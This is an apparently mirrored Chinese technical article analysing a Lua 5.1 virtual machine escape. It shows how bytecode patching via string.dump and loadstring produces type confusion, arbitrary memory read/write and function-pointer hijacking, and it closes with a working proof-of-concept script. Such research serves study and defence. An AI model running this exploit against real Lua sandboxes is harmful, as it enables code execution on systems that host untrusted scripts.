LUA指令碼虛擬機器逃逸技術分析

wyzsk發表於2020-08-19
作者: boywhp · 2016/02/04 11:16

Author:[email protected]

參考https://gist.github.com/corsix/6575486

0x00 LUA資料洩露


LUA提供了string.dump將一個lua函式dump為LUA位元組碼,同時loadstring函式載入位元組碼為LUA函式,透過操作LUA原始位元組碼可以使得LUA直譯器進入特殊狀態,甚至導致BUG發生。

#!cpp
asnum = loadstring(string.dump(function(x)
  for i = x, x, 0 do
    return i
  end
end):gsub("\96%z%z\128", "\22\0\0\128"))

LUA位元組碼固定長度32bits,4位元組,定義如下:

主要由op操作碼、R(A)、R(B)、R(C)、R(Bx)、R(sBx)組成。A、B、C對應於LUA暫存器索引。

asnum函式可以將任意LUA物件轉換為數字。(注:LUA5.1 64bitLinux環境)gsub函式將位元組碼\96%z%z\128替換為\22\0\0\128,如下:

#!bash
0071  60000080           [4] forprep    1   1        ; to [6]
0075  1E010001           [5] return     4   2      
0079  5F40FF7F           [6] forloop    1   -2       ; to [5] if loop

執行gsub函式後,forprep指令被替換為JMP to [6],LUA直譯器forprep指令對應程式碼如下:

#!cpp
case OP_FORPREP: {
        const TValue *init = ra;
        const TValue *plimit = ra+1;
        const TValue *pstep = ra+2;
        L->savedpc = pc;  /* next steps may throw errors */
        if (!tonumber(init, ra))
          luaG_runerror(L, LUA_QL("for") " initial value must be a number");
        else if (!tonumber(plimit, ra+1))
          luaG_runerror(L, LUA_QL("for") " limit must be a number");
        else if (!tonumber(pstep, ra+2))
          luaG_runerror(L, LUA_QL("for") " step must be a number");
        setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep)));
        dojump(L, pc, GETARG_sBx(i));
        continue;

正常情況下lua在forprep指令會檢查引數是否為數字型別,並執行初始化,但是由於位元組碼被替換為JMP,直接跳過了LUA型別檢查,進入forloop指令。

#!bash
case OP_FORLOOP: {
        lua_Number step = nvalue(ra+2);
        lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */
        lua_Number limit = nvalue(ra+1);
        if (luai_numlt(0, step) ? luai_numle(idx, limit)
                                : luai_numle(limit, idx)) {
          dojump(L, pc, GETARG_sBx(i));  /* jump back */
          setnvalue(ra, idx);  /* update internal index... */
          setnvalue(ra+3, idx);  /* ...and external index */
        }
        continue;
      }

forloop指令直接將迴圈引數轉換為lua_Number(double)型別,(因為正常情況下forprep已經檢查過型別了),然後執行加法(+ 0),執行dojump return x;返回lua_Number。

LUA使用TValue表示通用資料物件,格式如下:

Value(64bit) tt(32bit) padd(32bit)
n LUA_TNUMBER
GCObject *gc; -> TString* LUA_TSTRING
GCObject *gc; -> Closure* LUA_TFUNCTION

0x01 LUA任意記憶體讀/寫


#!cpp
read_mem = loadstring(string.dump(function(mem_addr) 
  local magic=nil
  local function middle()
    local f2ii, asnum = f2ii, asnum
    local lud, upval
    local function inner()
      magic = "01234567"
      local lo,hi = f2ii(mem_addr)
      upval = "commonhead16bits"..ub4(lo)..ub4(hi)
      lo,hi = f2ii(asnum(upval));lo = lo+24
      magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
    end
    inner()
    return asnum(magic)
  end
  magic = middle()
  return magic
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))  --> move 0,3

先看最外部函式,對應的LUA位元組碼如下:

#!bash
0785  A4000000           [1] closure    2   0        ; 2 upvalues
0789  00008000           [2] move       0   1      
078D  00000000           [3] move       0   0      
0791  C0000001           [4] move       3   2      
0795  DC808000           [5] call       3   1   2  
0799  40008001           [6] move       1   3      
079D  5E000001           [7] return     1   2      

LUA使用CLOSURE A Bx指令建立函式的一個例項(或閉包)。Bx是要例項化的函式在函式原型表中的函式編號。

closure 2 0 :建立0號函式物件,結果儲存到2號暫存器,具體程式碼如下:

#!cpp
case OP_CLOSURE: {
        Proto *p;
        Closure *ncl;
        int nup, j;
        p = cl->p->p[GETARG_Bx(i)];
        nup = p->nups;
        ncl = luaF_newLclosure(L, nup, cl->env);
        ncl->l.p = p;
        for (j=0; j<nup; j++, pc++) {
          if (GET_OPCODE(*pc) == OP_GETUPVAL)
            ncl->l.upvals[j] = cl->upvals[GETARG_B(*pc)];
          else {
            lua_assert(GET_OPCODE(*pc) == OP_MOVE);
            ncl->l.upvals[j] = luaF_findupval(L, base + GETARG_B(*pc));
          }
        }
        setclvalue(L, ra, ncl);
        Protect(luaC_checkGC(L));
        continue;
      }

LUA內部使用Proto 資料結構表示函式原型,記錄函式的一些基本資訊。LUA使用UpVal資料結構記錄當前函式外部變數引用情況。如:

#!cpp
function parent()
  local upval=nil
  function child() upval="child" end
  child()
  print(upval) --output string child
end

父函式定義一個區域性變數upval,子函式直接使用了該變數,此時父函式在建立閉包時會初始化upval列表,LUA編譯器生成CLOSURE A Bx指令後,會自動插入MOVE 0, B偽指令,R(B)指示帶入子函式的Upval暫存器編號。

#!bash
0785  A4000000           [1] closure    2   0        ; 2 upvalues
0789  00008000           [2] move       0   1      
078D  00000000           [3] move       0   0      
0791  C0000001           [4] move       3   2     --R(3) = R(2)
0795  DC808000           [5] call       3   1   2  --Call R(3)

執行gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))【%1指示第一匹配項】,將move 0 1替換為move 0 3指令,而暫存器3對應的是一個CLOSURE物件。因此middle及inner函式里面的magic實際執行middle函式物件。

LUA使用CALL A B C位元組指令處理函式呼叫,暫存器 R(A)持有要被呼叫的函式物件的引用。函式引數置於R(A)之後的暫存器中。引數個數(B-1),返回值個數(C-1)。如call 3 3 1 表示R(3)->CLOSURE 引數2個分別是R(4)、R(5),無返回值。

#!cpp
case OP_CALL: {
        int b = GETARG_B(i);
        int nresults = GETARG_C(i) - 1;
        if (b != 0) L->top = ra+b;  /* else previous instruction set top */
        L->savedpc = pc;
        switch (luaD_precall(L, ra, nresults)) {
          case PCRLUA: {
            nexeccalls++;
            goto reentry;  /* restart luaV_execute over new Lua function */
          }

LUA使用CallInfo資料結構執行函式呼叫跟蹤,在luaD_precall函式使用inc_ci函式建立新的函式呼叫資訊。

#!cpp
#define inc_ci(L) \
  ((L->ci == L->end_ci) ? growCI(L) : \
   (condhardstacktests(luaD_reallocCI(L, L->size_ci)), +>ci))

lua_State->ci的call info for current function,每呼叫一個函式增加一個ci,RETRUN減少ci,CallInfo資料結構如下:

#!cpp
typedef struct CallInfo {
  StkId base;  /* base for this function */
  StkId func;  /* function index in the stack */
  StkId top;  /* top for this function */
  const Instruction *savedpc;
  int nresults;  /* expected number of results from this function */
  int tailcalls;  /* number of tail calls lost under this entry */
} CallInfo;

其中CallInfo 的func在luaD_precall函式中初始化指向R(A)物件

我們跟蹤下inner函式大致流程:magic Upval透過修改位元組碼方式指向了middle函式,inner函式在返回前將magic賦值為一個字串,然後執行OP_RETURN指令返回middle函式。OP_RETURN最終呼叫luaD_poscall執行L->ci--,切換回上層函式呼叫CallInfo資訊,然後goto reentry,如下:

#!cpp
    LClosure *cl; 
reentry:  /* entry point */
    lua_assert(isLua(L->ci));
    pc = L->savedpc;
cl = &clvalue(L->ci->func)->l;
base = L->base;
k = cl->p->k;

其中的&clvalue(L->ci->func)直接將ci->func轉換為Closure*指標,但inner函式已經將ci->func物件修改為一個字串物件,此後k = cl->p->k行獲取函式原型的常量表。

先看下字串物件和Closure物件的記憶體佈局。

p1

cl->p對應TString第9個字串開始的內容,magic在inner函式被初始化為"01234567",將前8位元組填充,並拼接兩個記憶體指標,【..為LUA字串連線符】如下:

magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)

ub4函式將一個32位整數轉換為字串,lo、hi分別對應64bit記憶體地址的低、高32位。該記憶體地址指向

lo,hi = f2ii(asnum(upval));lo = lo+24

注意upval是字串型別(頭長度24),因此lo+24剛好指向字串內容,因此cl->p實際指向"commonhead16bits"..ub4(lo)..ub4(hi)

cl->p->k,對應的資料結構定義如下:

#!cpp
typedef struct Proto {
  CommonHeader;
  TValue *k;  /* constants u

其中CommonHeader記憶體對齊後佔用16位元組,因此k指向我們傳遞的記憶體地址。

同理cl->upvals[0]也指向我們構造的記憶體地址。

#!cpp
typedef struct UpVal {
  CommonHeader;
  TValue *v;  /* points to stack or to its own value */

此後執行middle函式執行return asnum(magic)語句,對應位元組碼如下:

#!bash
MOVE        5  1
GETUPVAL    6  0    ; magic
TAILCALL    5  2  0
RETURN      5  0

R(5) = R(1) = asnum函式物件,執行GETUPVAL 6 0 ,並將R(6)作為函式引數1呼叫asnum函式,最後返回asnum讀取結果。

#!cpp
case OP_GETUPVAL: {
  int b = GETARG_B(i);
  setobj2s(L, ra, cl->upvals[b]->v);
  continue;

GETUPVAL 6 0 其中b=0因此cl->upvals[b]->v正是我們構造的記憶體地址,setobj2s函式從對應的記憶體地址複製資料到R(6),此後透過asnum讀取內容,實現任意記憶體地址讀操作。同理如果在middle函式中對magic進行賦值,即可實現對任意地址寫記憶體(實際會寫8位元組數值以及4位元組的tt型別)

0x02 程式碼執行


LUA使用OP_CALL進行函式呼叫,luaD_precall中處理了C函式CALL,如下

#!cpp
/* if is a C function, call it */
    CallInfo *ci;
    int n;
    ci = inc_ci(L);  /* now `enter' new function */
    ci->func = restorestack(L, funcr);
    L->base = ci->base = ci->func + 1;
    ci->top = L->top + LUA_MINSTACK;
    ci->nresults = nresults;
    lua_unlock(L);
    n = (*curr_func(L)->c.f)(L);  /* do the actual call */

LUA使用lua_pushcclosure函式建立C函式閉包物件,LUA基礎庫luaB_cowrap會呼叫lua_pushcclosure,建立一個CClosure *物件,具體LUA指令碼如下:

#!cpp
co = coroutine.wrap(function() end)

CClosure資料結構記憶體佈局如下:

p2

其object偏移位置32為函式指標f,透過前面的記憶體寫技術可以將f替換為指定的函式地址即可實現任意程式碼執行。

0x03 附:POC程式碼


#!cpp
asnum = loadstring(string.dump(function(x)
  for i = x, x, 0 do
    return i
  end
end):gsub("\96%z%z\128", "\22\0\0\128"))

ub4 = function(x) -- Convert little endian uint32_t to char[4]
  local b0 = x % 256; x = (x - b0) / 256
  local b1 = x % 256; x = (x - b1) / 256
  local b2 = x % 256; x = (x - b2) / 256
  local b3 = x % 256
  return string.char(b0, b1, b2, b3)
end

f2ii = function(x) -- Convert double to uint32_t[2]
  if x == 0 then return 0, 0 end
  if x < 0 then x = -x end

  local e_lo, e_hi, e, m = -1075, 1023
  while true do -- this loop is math.frexp
    e = (e_lo + e_hi)
    e = (e - (e % 2)) / 2
    m = x / 2^e
    if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
  end

  if e+1023 <= 1 then
    m = m * 2^(e+1074)
    e = 0
  else
    m = (m - 0.5) * 2^53
    e = e + 1022
  end

  local lo = m % 2^32
  m = (m - lo) / 2^32
  local hi = m + e * 2^20
  return lo, hi
end

ii2f = function(lo, hi) -- Convert uint32_t[2] to double
  local m = hi % 2^20
  local e = (hi - m) / 2^20
  m = m * 2^32 + lo

  if e ~= 0 then
    m = m + 2^52
  else
    e = 1
  end
  return m * 2^(e-1075)
end

read_mem = loadstring(string.dump(function(mem_addr) -- AAAABBBB 1094795585 1111638594
  local magic=nil
  local function middle()
    local f2ii, asnum = f2ii, asnum
    local lud, upval
    local function inner()
      magic = "01234567"
      local lo,hi = f2ii(mem_addr)
      upval = "commonhead16bits"..ub4(lo)..ub4(hi)
      lo,hi = f2ii(asnum(upval));lo = lo+24
      magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
    end
    inner()
    return asnum(magic)
  end
  magic = middle()
  return magic
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))  --> move 0,3

x="AAAABBBB"
l,h=f2ii(asnum(x))
x=ii2f(l+24,h)
print(f2ii(read_mem(x)))
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章